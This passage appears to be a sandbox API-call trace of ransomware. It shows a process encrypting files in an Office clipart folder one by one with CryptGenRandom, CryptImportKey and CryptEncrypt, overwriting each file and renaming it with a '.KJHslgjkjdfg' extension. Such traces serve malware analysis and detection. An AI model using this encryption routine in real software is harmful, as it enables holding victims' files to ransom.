WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.049] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.049] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.049] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.049] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.049] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.049] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.049] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.049] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x278a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x278a, lpOverlapped=0x0) returned 1 [0189.050] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2790, dwBufLen=0x2790 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2790) returned 1 [0189.050] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.050] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2790, lpOverlapped=0x0) returned 1 [0189.050] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.050] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.050] SetEndOfFile (hFile=0x114) returned 1 [0189.053] GetProcessHeap () returned 0x2a0000 [0189.053] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.053] GetProcessHeap () returned 0x2a0000 [0189.053] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.053] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.kjhslgjkjdfg")) returned 1 [0189.054] CloseHandle (hObject=0x114) returned 1 [0189.054] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x13c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SCHOL_02.MID", cAlternateFileName="")) returned 1 [0189.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.058] GetProcessHeap () returned 0x2a0000 [0189.058] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.058] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.058] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.058] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0189.060] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.060] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.060] GetProcessHeap () returned 0x2a0000 [0189.060] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.060] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.060] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.060] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.060] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.060] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.060] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.060] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.060] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.061] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.061] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.061] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.061] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x13c2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x13c2, lpOverlapped=0x0) returned 1 [0189.061] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13d0, dwBufLen=0x13d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13d0) returned 1 [0189.062] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.062] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x13d0, lpOverlapped=0x0) returned 1 [0189.062] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.062] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x14a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.062] SetEndOfFile (hFile=0x114) returned 1 [0189.064] GetProcessHeap () returned 0x2a0000 [0189.064] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.064] GetProcessHeap () returned 0x2a0000 [0189.064] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.064] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.kjhslgjkjdfg")) returned 1 [0189.065] CloseHandle (hObject=0x114) returned 1 [0189.066] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHOW_01.MID", cAlternateFileName="")) returned 1 [0189.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.067] GetProcessHeap () returned 0x2a0000 [0189.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.067] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.067] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.067] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.069] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.069] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.069] GetProcessHeap () returned 0x2a0000 [0189.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.069] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.069] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.069] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.069] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.069] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.069] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.069] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.069] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.069] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.069] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.069] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.069] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x18f8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x18f8, lpOverlapped=0x0) returned 1 [0189.070] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1900, dwBufLen=0x1900 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1900) returned 1 [0189.070] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.070] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1900, lpOverlapped=0x0) returned 1 [0189.070] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.071] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.071] SetEndOfFile (hFile=0x114) returned 1 [0189.073] GetProcessHeap () returned 0x2a0000 [0189.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.073] GetProcessHeap () returned 0x2a0000 [0189.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.kjhslgjkjdfg")) returned 1 [0189.074] CloseHandle (hObject=0x114) returned 1 [0189.075] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d79200, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7d79200, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x2a0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00256_.WMF", cAlternateFileName="")) returned 1 [0189.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.079] GetProcessHeap () returned 0x2a0000 [0189.079] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.079] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.079] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.079] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0189.081] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.081] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.081] GetProcessHeap () returned 0x2a0000 [0189.081] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.081] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.081] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.081] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.081] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.081] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.081] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.081] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.081] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.081] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.082] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.082] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.082] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2a0a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2a0a, lpOverlapped=0x0) returned 1 [0189.083] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a10, dwBufLen=0x2a10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a10) returned 1 [0189.083] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.083] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2a10, lpOverlapped=0x0) returned 1 [0189.083] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.083] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2ae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.083] SetEndOfFile (hFile=0x114) returned 1 [0189.085] GetProcessHeap () returned 0x2a0000 [0189.085] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.085] GetProcessHeap () returned 0x2a0000 [0189.085] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.086] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf.kjhslgjkjdfg")) returned 1 [0189.087] CloseHandle (hObject=0x114) returned 1 [0189.087] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4440b00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4440b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x7ca4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00260_.WMF", cAlternateFileName="")) returned 1 [0189.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.088] GetProcessHeap () returned 0x2a0000 [0189.088] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.088] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.088] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.088] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0189.090] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.090] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.090] GetProcessHeap () returned 0x2a0000 [0189.090] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.090] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.090] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.090] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.090] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.090] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.091] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.091] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.091] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.091] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, 